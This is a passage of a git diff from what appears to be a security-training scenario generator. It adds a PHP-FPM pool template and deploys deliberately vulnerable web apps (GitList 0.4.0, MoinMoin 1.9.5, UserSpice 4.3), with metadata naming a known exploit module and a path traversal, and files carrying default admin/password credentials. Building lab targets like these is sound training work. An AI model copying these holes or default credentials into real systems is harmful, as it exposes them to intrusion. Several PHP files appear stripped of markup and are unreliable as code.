pools it is recommended to have one .conf file per +; pool in the following directory: +include=<%= @pool_base_dir %>/*.conf diff --git a/modules/utilities/unix/web_frameworks/php/templates/fpm/pool.conf.erb b/modules/utilities/unix/web_frameworks/php/templates/fpm/pool.conf.erb new file mode 100644 index 000000000..9f53b43f4 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/templates/fpm/pool.conf.erb @@ -0,0 +1,375 @@ +[<%= @pool %>] + +; The address on which to accept FastCGI requests. +listen = <%= @listen %> + +; Set listen(2) backlog. A value of '-1' means unlimited. +listen.backlog = <%= @listen_backlog %> + +; List of ipv4 addresses of FastCGI clients which are allowed to connect. +; Equivalent to the FCGI_WEB_SERVER_ADDRS environment variable in the original +; PHP FCGI (5.2.2+). Makes sense only with a tcp listening socket. Each address +; must be separated by a comma. If this value is left blank, connections will be +; accepted from any ip address. +; Default Value: any +<% if @listen_allowed_clients -%> +listen.allowed_clients = <%= @listen_allowed_clients %> +<% else -%> +;listen.allowed_clients = 127.0.0.1 +<% end -%> + +; Set permissions for unix socket, if one is used. In Linux, read/write +; permissions must be set in order to allow connections from a web server. Many +; BSD-derived systems allow connections regardless of permissions. +; Default Values: user and group are set as the running user +; mode is set to 0666 +<% if @listen_owner -%> +listen.owner = <%= @listen_owner %> +<% else -%> +;listen.owner = nobody +<% end -%> +<% if @listen_group -%> +listen.group = <%= @listen_group %> +<% else -%> +;listen.group = nobody +<% end -%> +<% if @listen_mode -%> +listen.mode = <%= @listen_mode %> +<% else -%> +;listen.mode = 0660 +<% end -%> + +; Unix user/group of processes +; Note: The user is mandatory. If the group is not set, the default user's group +; will be used. +; RPM: apache Choosed to be able to access some dir as httpd +user = <%= @user %> +; RPM: Keep a group allowed to write in log dir. +group = <%= @group_final %> + +; Choose how the process manager will control the number of child processes. +; Possible Values: +; static - a fixed number (pm.max_children) of child processes; +; dynamic - the number of child processes are set dynamically based on the +; following directives: +; pm.max_children - the maximum number of children that can +; be alive at the same time. +; pm.start_servers - the number of children created on startup. +; pm.min_spare_servers - the minimum number of children in 'idle' +; state (waiting to process). If the number +; of 'idle' processes is less than this +; number then some children will be created. +; pm.max_spare_servers - the maximum number of children in 'idle' +; state (waiting to process). If the number +; of 'idle' processes is greater than this +; number then some children will be killed. +; ondemand - no children are created at startup. Children will be forked when +; new requests will connect. The following parameter are used: +; pm.max_children - the maximum number of children that +; can be alive at the same time. +; pm.process_idle_timeout - The number of seconds after which +; an idle process will be killed. +; Note: This value is mandatory. +pm = <%= @pm %> + +; The number of child processes to be created when pm is set to 'static' and the +; maximum number of child processes to be created when pm is set to 'dynamic'. +; This value sets the limit on the number of simultaneous requests that will be +; served. Equivalent to the ApacheMaxClients directive with mpm_prefork. +; Equivalent to the PHP_FCGI_CHILDREN environment variable in the original PHP +; CGI. +; Note: Used when pm is set to either 'static' or 'dynamic' +; Note: This value is mandatory. +pm.max_children = <%= @pm_max_children %> + +; The number of child processes created on startup. +; Note: Used only when pm is set to 'dynamic' +; Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2 +pm.start_servers = <%= @pm_start_servers %> + +; The desired minimum number of idle server processes. +; Note: Used only when pm is set to 'dynamic' +; Note: Mandatory when pm is set to 'dynamic' +pm.min_spare_servers = <%= @pm_min_spare_servers %> + +; The desired maximum number of idle server processes. +; Note: Used only when pm is set to 'dynamic' +; Note: Mandatory when pm is set to 'dynamic' +pm.max_spare_servers = <%= @pm_max_spare_servers %> + +; The number of seconds after which an idle process will be killed. +; Note: Used only when pm is set to 'ondemand' +; Default Value: 10s +pm.process_idle_timeout = <%= @pm_process_idle_timeout %> + +; The number of requests each child process should execute before respawning. +; This can be useful to work around memory leaks in 3rd party libraries. For +; endless request processing specify '0'. Equivalent to PHP_FCGI_MAX_REQUESTS. +; Default Value: 0 +pm.max_requests = <%= @pm_max_requests %> + +; The URI to view the FPM status page. If this value is not set, no URI will be +; recognized as a status page. By default, the status page shows the following +; information: +; accepted conn - the number of request accepted by the pool; +; pool - the name of the pool; +; process manager - static or dynamic; +; idle processes - the number of idle processes; +; active processes - the number of active processes; +; total processes - the number of idle + active processes. +; The values of 'idle processes', 'active processes' and 'total processes' are +; updated each second. The value of 'accepted conn' is updated in real time. +; Example output: +; accepted conn: 12073 +; pool: www +; process manager: static +; idle processes: 35 +; active processes: 65 +; total processes: 100 +; By default the status page output is formatted as text/plain. Passing either +; 'html' or 'json' as a query string will return the corresponding output +; syntax. Example: +; http://www.foo.bar/status +; http://www.foo.bar/status?json +; http://www.foo.bar/status?html +; Note: The value must start with a leading slash (/). The value can be +; anything, but it may not be a good idea to use the .php extension or it +; may conflict with a real PHP file. +; Default Value: not set +<% if @pm_status_path -%> +pm.status_path = <%= @pm_status_path %> +<% else -%> +;pm.status_path = /status +<% end -%> + +; The ping URI to call the monitoring page of FPM. If this value is not set, no +; URI will be recognized as a ping page. This could be used to test from outside +; that FPM is alive and responding, or to +; - create a graph of FPM availability (rrd or such); +; - remove a server from a group if it is not responding (load balancing); +; - trigger alerts for the operating team (24/7). +; Note: The value must start with a leading slash (/). The value can be +; anything, but it may not be a good idea to use the .php extension or it +; may conflict with a real PHP file. +; Default Value: not set +<% if @ping_path -%> +ping.path = <%= @ping_path %> +<% else -%> +;ping.path = /ping +<% end -%> + +; This directive may be used to customize the response of a ping request. The +; response is formatted as text/plain with a 200 response code. +; Default Value: pong +ping.response = <%= @ping_response %> + +; The access log file +; Default: not set +<% if @access_log -%> +access.log = <%= @access_log %> +<% end -%> + +; The access log format. +; The following syntax is allowed +; %%: the '%' character +; %C: %CPU used by the request +; it can accept the following format: +; - %{user}C for user CPU only +; - %{system}C for system CPU only +; - %{total}C for user + system CPU (default) +; %d: time taken to serve the request +; it can accept the following format: +; - %{seconds}d (default) +; - %{miliseconds}d +; - %{mili}d +; - %{microseconds}d +; - %{micro}d +; %e: an environment variable (same as $_ENV or $_SERVER) +; it must be associated with embraces to specify the name of the env +; variable. Some exemples: +; - server specifics like: %{REQUEST_METHOD}e or %{SERVER_PROTOCOL}e +; - HTTP headers like: %{HTTP_HOST}e or %{HTTP_USER_AGENT}e +; %f: script filename +; %l: content-length of the request (for POST request only) +; %m: request method +; %M: peak of memory allocated by PHP +; it can accept the following format: +; - %{bytes}M (default) +; - %{kilobytes}M +; - %{kilo}M +; - %{megabytes}M +; - %{mega}M +; %n: pool name +; %o: ouput header +; it must be associated with embraces to specify the name of the header: +; - %{Content-Type}o +; - %{X-Powered-By}o +; - %{Transfert-Encoding}o +; - .... +; %p: PID of the child that serviced the request +; %P: PID of the parent of the child that serviced the request +; %q: the query string +; %Q: the '?' character if query string exists +; %r: the request URI (without the query string, see %q and %Q) +; %R: remote IP address +; %s: status (response code) +; %t: server time the request was received +; it can accept a strftime(3) format: +; %d/%b/%Y:%H:%M:%S %z (default) +; %T: time the log has been written (the request has finished) +; it can accept a strftime(3) format: +; %d/%b/%Y:%H:%M:%S %z (default) +; %u: remote user +; +; Default: "%R - %u %t \"%m %r\" %s" +access.format = <%= @access_log_format %> + +; The timeout for serving a single request after which the worker process will +; be killed. This option should be used when the 'max_execution_time' ini option +; does not stop script execution for some reason. A value of '0' means 'off'. +; Available units: s(econds)(default), m(inutes), h(ours), or d(ays) +; Default Value: 0 +request_terminate_timeout = <%= @request_terminate_timeout %> + +; The timeout for serving a single request after which a PHP backtrace will be +; dumped to the 'slowlog' file. A value of '0s' means 'off'. +; Available units: s(econds)(default), m(inutes), h(ours), or d(ays) +; Default Value: 0 +request_slowlog_timeout = <%= @request_slowlog_timeout %> + +; The log file for slow requests +; Default Value: not set +; Note: slowlog is mandatory if request_slowlog_timeout is set +slowlog = <%= @slowlog %> + +; Set open file descriptor rlimit. +; Default Value: system defined value +<% if @rlimit_files -%> +rlimit_files = <%= @rlimit_files %> +<% else -%> +;rlimit_files = 1024 +<% end -%> + +; Set max core size rlimit. +; Possible Values: 'unlimited' or an integer greater or equal to 0 +; Default Value: system defined value +<% if @rlimit_core -%> +rlimit_core = <%= @rlimit_core %> +<% else -%> +;rlimit_core = 0 +<% end -%> + +; Chroot to this directory at the start. This value must be defined as an +; absolute path. When this value is not set, chroot is not used. +; Note: chrooting is a great security feature and should be used whenever +; possible. However, all PHP paths will be relative to the chroot +; (error_log, sessions.save_path, ...). +; Default Value: not set +<% if @chroot -%> +chroot = <%= @chroot %> +<% else -%> +;chroot = +<% end -%> + +; Chdir to this directory at the start. This value must be an absolute path. +; Default Value: current directory or / when chroot +<% if @chdir -%> +chdir = <%= @chdir %> +<% else -%> +;chdir = /var/www +<% end -%> + +; Redirect worker stdout and stderr into main error log. If not set, stdout and +; stderr will be redirected to /dev/null according to FastCGI specs. +; Default Value: no +catch_workers_output = <%= @catch_workers_output %> + +; Include one or more files. If glob(3) exists, it is used to include a bunch of +; files from a glob(3) pattern. This directive can be used everywhere in the +; file. +; Relative path can also be used. They will be prefixed by: +; - the global prefix if it's been set (-p arguement) +; - /usr otherwise +<% if @include -%> +include=<%= @include %> +<% else -%> +;include=/etc/php5/fpm/*.conf +<% end -%> + +; Pass environment variables like LD_LIBRARY_PATH. All $VARIABLEs are taken from +; the current environment. +; Default Value: clean env +;env[HOSTNAME] = $HOSTNAME +;env[PATH] = /usr/local/bin:/usr/bin:/bin +;env[TMP] = /tmp +;env[TMPDIR] = /tmp +;env[TEMP] = /tmp +<% @env.each do |var| -%> +env[<%= var %>] = $<%= var %> +<% end -%> +<% @env_value.sort_by {|key,value| key}.each do |key,value| -%> +<% if !value.empty? -%> +env[<%= key %>] = '<%= value %>' +<% end -%> +<% end -%> + +; Additional php.ini defines, specific to this pool of workers. These settings +; overwrite the values previously defined in the php.ini. The directives are the +; same as the PHP SAPI: +; php_value/php_flag - you can set classic ini defines which can +; be overwritten from PHP call 'ini_set'. +; php_admin_value/php_admin_flag - these directives won't be overwritten by +; PHP call 'ini_set' +; For php_*flag, valid values are on, off, 1, 0, true, false, yes or no. + +; Defining 'extension' will load the corresponding shared extension from +; extension_dir. Defining 'disable_functions' or 'disable_classes' will not +; overwrite previously defined php.ini values, but will append the new value +; instead. + +; Default Value: nothing is defined by default except the values in php.ini and +; specified at startup with the -d argument +;php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f www@my.domain.com +;php_flag[display_errors] = off +;php_admin_value[error_log] = /var/log/php-fpm/www-error.log +;php_admin_flag[log_errors] = on +;php_admin_value[memory_limit] = 32M + +; +; Custom PHP values +; +<% @php_value.sort_by {|key,value| key}.each do |key,value| -%> +php_value[<%= key %>] = <%= value %> +<% end -%> + +; +; Custom PHP flags +; +<% @php_flag.sort_by {|key,flag| key}.each do |key,flag| -%> +php_flag[<%= key %>] = <%= flag %> +<% end -%> + +; +; Custom PHP admin values +; +<% @php_admin_value.sort_by {|key,value| key}.each do |key,value| -%> +php_admin_value[<%= key %>] = <%= value %> +<% end -%> + +; +; Custom PHP admin flags +; +<% @php_admin_flag.sort_by {|key,flag| key}.each do |key,flag| -%> +php_admin_flag[<%= key %>] = <%= flag %> +<% end -%> + +; +; Custom PHP directives +; +<% @php_directives.each do |line| -%> +<%= line.gsub "{", "%{" %> +<% end -%> + +<% if @security_limit_extensions -%> +security.limit_extensions = <%= @security_limit_extensions.join(" ") %> +<% end -%> diff --git a/modules/utilities/unix/web_frameworks/php/types/installoptions.pp b/modules/utilities/unix/web_frameworks/php/types/installoptions.pp new file mode 100644 index 000000000..b9a528dcc --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/types/installoptions.pp @@ -0,0 +1,8 @@ +type Php::InstallOptions = Optional[ + Array[ + Variant[ + String, + Hash[String, String] + ] + ] +] diff --git a/modules/utilities/unix/web_frameworks/php/types/provider.pp b/modules/utilities/unix/web_frameworks/php/types/provider.pp new file mode 100644 index 000000000..e8b04d9cb --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/types/provider.pp @@ -0,0 +1,28 @@ +type Php::Provider = Enum[ + # do nothing + 'none', + + # php + 'pecl', + 'pear', + + # Debuntu + 'dpkg', + 'apt', + + # RHEL + 'yum', + 'rpm', + 'dnf', + 'up2date', + + # Suse + 'zypper', + 'rug', + + # FreeBSD + 'freebsd', + 'pkgng', + 'ports', + 'portupgrade' # lint:ignore:trailing_comma +] diff --git a/modules/utilities/unix/web_frameworks/php/types/sapi.pp b/modules/utilities/unix/web_frameworks/php/types/sapi.pp new file mode 100644 index 000000000..1e96df469 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/types/sapi.pp @@ -0,0 +1,6 @@ +type Php::Sapi = Enum[ + 'ALL', + 'cli', + 'fpm', + 'apache2' # lint:ignore:trailing_comma +] diff --git a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/apache.pp b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/apache.pp index f182427ff..288a4208c 100644 --- a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/apache.pp +++ b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/apache.pp @@ -3,7 +3,7 @@ class gitlist_040::apache { $port = $secgen_parameters['port'][0] $docroot = '/var/www/gitlist' - package { 'php5': + package { 'php': ensure => installed, } # @@ -14,6 +14,7 @@ class gitlist_040::apache { default_vhost => false, default_mods => ['rewrite', 'php'], overwrite_ports => false, + mpm_module => 'prefork' } ::apache::vhost { 'www-gitlist': diff --git a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/install.pp b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/install.pp index 59c7bf0d1..5bde69e20 100644 --- a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/install.pp +++ b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/install.pp @@ -29,4 +29,11 @@ class gitlist_040::install { mode => '777', } + # TODO: This should only be run on apache_kali_compat + file { '/var/www/gitlist/.htaccess': + require => Exec['unpack-gitlist'], + ensure => present, + content => template('gitlist_040/.htaccess.erb') + } + } \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/gitlist_040/secgen_metadata.xml b/modules/vulnerabilities/unix/webapp/gitlist_040/secgen_metadata.xml index 18b6d210b..9273d7539 100644 --- a/modules/vulnerabilities/unix/webapp/gitlist_040/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/webapp/gitlist_040/secgen_metadata.xml @@ -13,6 +13,7 @@ webapp + in_the_wild user_rwx remote linux @@ -48,8 +49,12 @@ exploit/linux/http/gitlist_exec Visit the webapp in a browser at: ip:80/gitlist + + + + - .*apache + .*apache.* httpd diff --git a/modules/vulnerabilities/unix/webapp/gitlist_040/templates/.htaccess.erb b/modules/vulnerabilities/unix/webapp/gitlist_040/templates/.htaccess.erb new file mode 100644 index 000000000..61e7174c9 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/gitlist_040/templates/.htaccess.erb @@ -0,0 +1,12 @@ + + Options -MultiViews + + RewriteEngine On + #RewriteBase /path/to/gitlist/ + + RewriteCond %{REQUEST_FILENAME} !-f + RewriteRule ^(.*)$ index.php [L,NC] + + + Require all granted + diff --git a/modules/vulnerabilities/unix/webapp/moinmoin_195/secgen_metadata.xml b/modules/vulnerabilities/unix/webapp/moinmoin_195/secgen_metadata.xml index 2d653e9f5..42afece4f 100644 --- a/modules/vulnerabilities/unix/webapp/moinmoin_195/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/webapp/moinmoin_195/secgen_metadata.xml @@ -13,6 +13,7 @@ webapp + in_the_wild user_rwx remote linux @@ -67,8 +68,12 @@ Path traversal found in AttachFile module. + + Stretch + + - .*apache + .*apache.* httpd diff --git a/modules/vulnerabilities/unix/webapp/onlinestore/secgen_metadata.xml b/modules/vulnerabilities/unix/webapp/onlinestore/secgen_metadata.xml index 729d57b72..4e5929412 100644 --- a/modules/vulnerabilities/unix/webapp/onlinestore/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/webapp/onlinestore/secgen_metadata.xml @@ -144,7 +144,7 @@ - .*/mysql + .*/mysql_wheezy.* diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/.gitignore b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/.gitignore new file mode 100644 index 000000000..481507ee0 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/.gitignore @@ -0,0 +1,3 @@ +*~ +*.swp +*.bak diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/README.md b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/README.md new file mode 100644 index 000000000..583ffc6f1 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/README.md @@ -0,0 +1,12 @@ +# UserSpice4 + +UserSpice 4 is a complete OOP PDO PHP User Management System. Full details, documentation, walkthroughs, and forums can be found at UserSpice.com. + + + +Ideally the git repository is for tracking changes. All downloads should probably go through UserSpice.com where they are properly packaged for installtion. + + + +What makes UserSpice different from almost any other PHP User Management Framework is that it has been designed from the beginning to get out of your way so you can spend your time working on your project. Other systems may force you to use their rewriting rules, template engines, frameworks, etc. UserSpice doesn't. You can use as much of it or as little as you choose. It just sits there and does its job. + + + +In most cases, UserSpice can control access to your existing pages with a single line of code. From there, we provide an incredible set of PHP Classes and Functions that you can choose to use or not use. Don't like the look? It's built using Bootstrap. You can change the look and feel of your site in seconds with a new css file and some well-documented tweaks. + + + +Most importantly, UserSpice is constantly in development. It's constantly getting better and more secure while maintaining the goal of getting out of the way. As additional major features are added, they will be in the form of plugins to keep things modular. + + + +So you can get on with the business of designing your project. All while being Bootstrap compatible so you can easily change the look and feel of your project. The goal of UserSpice is to strike a balance of being feature-rich without being bloated. diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/favicon.ico b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..df6f9bdf1e8a448701632ae61ffe01b2af8a3035 GIT binary patch literal 1150 zcma*n%PvDv6vpvYEn0PHQyQJLM2N=JTA|`|giA#t}+>#(V;_uk81YoE0>%mVzxV#a5iZG_B{X4VZtL@IFxGk%wdR+QKO z_-N1O4K>K11NBhMH{02#+*z#S2xsVnZw+Tp3*$B#5JC<`Wa0S^`aP7>j4EfXnCh)) z?e#eO1B`L#+yxxs4FgcEI;2pmwfks}AQtfsMXP_Yvx66512XAe0%BL>w_ud3;nuDusH#w&C;imB#_ zGxw~)9`!MeC6vE|jJ+6xYI)|Die{xC0!UTHH1lv1X&L@^gi*k!S^Nhjv&bL6-+_%C literal 0 HcmV?d00001 diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/index.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/index.php new file mode 100644 index 000000000..5787d816d --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/index.php @@ -0,0 +1,149 @@ +isLoggedIn()){ +} +?> + +
    +
    +
    +
    + +
    +

    Welcome to site_name;?>

    +

    An Open Source PHP User Management Framework.

    +

    + isLoggedIn()){$uid = $user->data()->id;?> + User Account » + + Log In » + Sign Up » + +

    +
    +
    +
    +
    +Go to Logout Page'; +// $notifications->addNotification($msg, $user->data()->id); + ?> +
    +
    +
    Step 1: Change your password!
    +
    You're going to login with the default username of admin and the default password of password. + You can also login as a standard level user with the credentials of user and password. + If you cannot login for some reason, edit the login.php file and uncomment out the lines
    error_reporting(E_ALL);
    + ini_set('display_errors', 1);
    to see if there are any errors in your server configuration. +
    +
    +
    +
    +
    +
    Step 2: Change some settings
    +
    You want to go to the Admin Dashboard. From there you can personalize your settings. + You can decide whether or not you want to use reCaptcha, force SSL, or mess with some CSS. +
    +
    +
    +
    + +
    +
    +
    +
    Step 3: Explore
    +
    From the Admin Dashboard, you can go to Admin Permissions and add some new user levels. + Then check out Admin Pages to decide which pages are private and which are public. Once you make a page private, + you can decide how what level of access someone needs to access it. + Any new pages you create in your site folder will automatically show up here. +
    +
    +
    +
    +
    +
    Step 4: Check out the other resources
    +
    The users/blank_pages folder contains a blank version of this page and one with the sidebar + included for your convenience. There are also special_blanks that you can drop into your site folder and load up to + check out all the things you can do with Bootstrap. +
    +
    +
    +
    + +
    +
    +
    +
    Step 5: Design and secure your own pages
    +
    Of course, using our blanks is the quickest way to get up and running, + but you can also secure any page. Simply add this php code to the top of your page and it will + perform a check to see if you've set any special permissions.
    + require_once 'users/init.php';
    + require_once $abs_us_root.$us_url_root.'users/includes/header.php';
    + require_once $abs_us_root.$us_url_root.'users/includes/navigation.php';
    + if (!securePage($_SERVER['PHP_SELF'])){die();} +
    +
    +
    +
    +
    +
    Step 6: Check out the forums and documentation at UserSpice.com
    +
    That's where the latest options are and you can find people willing to help. + No account is required for browsing the forums, but you will need to sign up to be able to post. +
    +
    +
    +
    + +
    +
    +
    +
    Step 7: Replace this ugly homepage with your own beautiful creation
    +
    Don't forget to swap out logo.png in the images folder with your own! If you're getting nagging + message in the footer, go get you some of your own reCAPTCHA keys +
    +
    +
    +
    +
    +
    Step 8: Avoid editing the UserSpice files
    +
    But what if you want to change the UserSpice files? + We have a solution that lets you edit our files and still not break future upgrades. + For instance, if you want to modify the account.php file... just copy our file into + the "usersc" folder. Then you can edit away and your file will be loaded instead of ours! +
    +
    +
    +
    + +
    +
    +

    UserSpice is built using Twitter's Bootstrap, + so it is fully responsive and there is tons of documentation. The look and the feel can be changed very easily.

    +

    Consider checking out Bootsnipp to see all the widgets and tools you can + easily drop into UserSpice to get your project off the ground. +

    +
    +
    + +
    + +
    + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/cleanup.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/cleanup.php new file mode 100644 index 000000000..daceccabc --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/cleanup.php @@ -0,0 +1,32 @@ +

    "); + }else{ + echo ("Deleted $file
    "); + } +} +rrmdir("install"); +?> +

    +

    If you made it this far, everything SHOULD be good to go. If you see any errors above, you will want to navigate to the install folder, and delete it manually. Don't forget to check out UserSpice.com if you need any help. Click the button below to make sure you have the latest updates to your database.

    + + +

    Update Database and Login!

    + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/index.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/index.php new file mode 100644 index 000000000..fe7d271ac --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/index.php @@ -0,0 +1,280 @@ + +
    +
    + +
    +
    +
    +

    Welcome to

    + +

    + This program will walk you through the entire process of configuring . Before you proceed, you might want to make sure that you're ready to do the install.

    +

    + If you have not already created a new database, please do so at this time. Make sure that you have the Host Name, Username, Password, and Database name handy, as you will need them to complete the install.

    +

    System Requirement Check

    + + +

    We're sorry, but your PHP version is out of date. Please update to PHP or later to continue. +PHP Website

    + +

    Your PHP version meets the minimum system requirements of or later, but you need to make sure your system meets all the rest of the requirements. If you see any red in the table below, please correct those issues before installing.

    + + + + + + + + + + + + + + + + + + + + + +
    + PHP version >= + + + No + + Yes + +
    + XML support + + + Available + + Unavailable + +
    + MySQLi support + + + Available + + Unavailable + +
    + PDO support + + + Available + + Unavailable + +
    + Is writeable? + + Writeable'; + } else { + $errors = 1; + ?> + Unwriteable
    +
    + It is really important that you be able to write to the init file! If you don't know how to chmod your init file, please read this guide at UserSpice.com. +
    + +
    + + + + + + +

    Additional Recommended Settings

    + +

    + Will most likely work regardless of the settings below, however these settings are suggested. +

    + + + + + + + + + + + + +
    + Setting + + Recommended + + Actual +
    + : + + : + + + + + + + + + + +
    +
    + +
    + By clicking continue, you are stating that you agree with the terms of the License.

    + Continue >>
    + + You have errors listed in the System Requirement Check that must be corrected before continuing. If you have an unwritable , it is suggested that you chmod that file to 666 for installation and then chmod it to 644 after installation. please read this guide, or if you are comfortable importing a SQL dump and editing an init.php file manually, you can follow the "if install fails" instructions in the root folder. + + +
    + +
    + +
    +
    + + + + + + + +Writeable'; + $unwriteable = 'Unwriteable'; +?> + + + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/chunk1.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/chunk1.php new file mode 100644 index 000000000..895378177 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/chunk1.php @@ -0,0 +1,41 @@ +), +'remember' => array( + 'cookie_name' => 'pmqesoxiw318374csb', + 'cookie_expiry' => 604800 //One week, feel free to make it longer +), +'session' => array( + 'session_name' => 'user', + 'token_name' => 'token', +) +); + +//If you changed your UserSpice or UserCake database prefix +//put it here. +$db_table_prefix = "uc_"; //Old database prefix + +//adding more ids to this array allows people to access everything, whether offline or not. Use caution. +$master_account = [1]; + +$currentPage = currentPage(); + +//Check to see if user has a remember me cookie +if(Cookie::exists(Config::get('remember/cookie_name')) && !Session::exists(Config::get('session/session_name'))){ + $hash = Cookie::get(Config::get('remember/cookie_name')); + $hashCheck = DB::getInstance()->query("SELECT * FROM users_session WHERE hash = ? AND uagent = ?",array($hash,Session::uagent_no_version())); + + if ($hashCheck->count()) { + $user = new User($hashCheck->first()->user_id); + $user->login(); + + } +} + +//Check to see that user is logged in on a temporary password +$user = new User(); + +//Check to see that user is verified +if($user->isLoggedIn()){ + if($user->data()->email_verified == 0 && $currentPage != 'verify.php' && $currentPage != 'logout.php' && $currentPage != 'verify_thankyou.php'){ + Redirect::to('users/verify.php'); + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/chunk2.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/chunk2.php new file mode 100644 index 000000000..d299400ed --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/chunk2.php @@ -0,0 +1 @@ +date_default_timezone_set($timezone_string); diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/restore.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/restore.php new file mode 100644 index 000000000..d76ab1c43 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/restore.php @@ -0,0 +1,27 @@ + array( diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/bootstrap-theme.min.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/bootstrap-theme.min.css new file mode 100644 index 000000000..4c3e7bad7 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/bootstrap-theme.min.css @@ -0,0 +1,5 @@ +/*! + * Bootstrap v3.3.1 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */.btn-default,.btn-primary,.btn-success,.btn-info,.btn-warning,.btn-danger{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-default:active,.btn-primary:active,.btn-success:active,.btn-info:active,.btn-warning:active,.btn-danger:active,.btn-default.active,.btn-primary.active,.btn-success.active,.btn-info.active,.btn-warning.active,.btn-danger.active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-default .badge,.btn-primary .badge,.btn-success .badge,.btn-info .badge,.btn-warning .badge,.btn-danger .badge{text-shadow:none}.btn:active,.btn.active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-o-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e0e0e0));background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;border-color:#ccc}.btn-default:hover,.btn-default:focus{background-color:#e0e0e0;background-position:0 -15px}.btn-default:active,.btn-default.active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default:disabled,.btn-default[disabled]{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-o-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#265a88));background-image:linear-gradient(to bottom,#337ab7 0,#265a88 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#245580}.btn-primary:hover,.btn-primary:focus{background-color:#265a88;background-position:0 -15px}.btn-primary:active,.btn-primary.active{background-color:#265a88;border-color:#245580}.btn-primary:disabled,.btn-primary[disabled]{background-color:#265a88;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#419641));background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:hover,.btn-success:focus{background-color:#419641;background-position:0 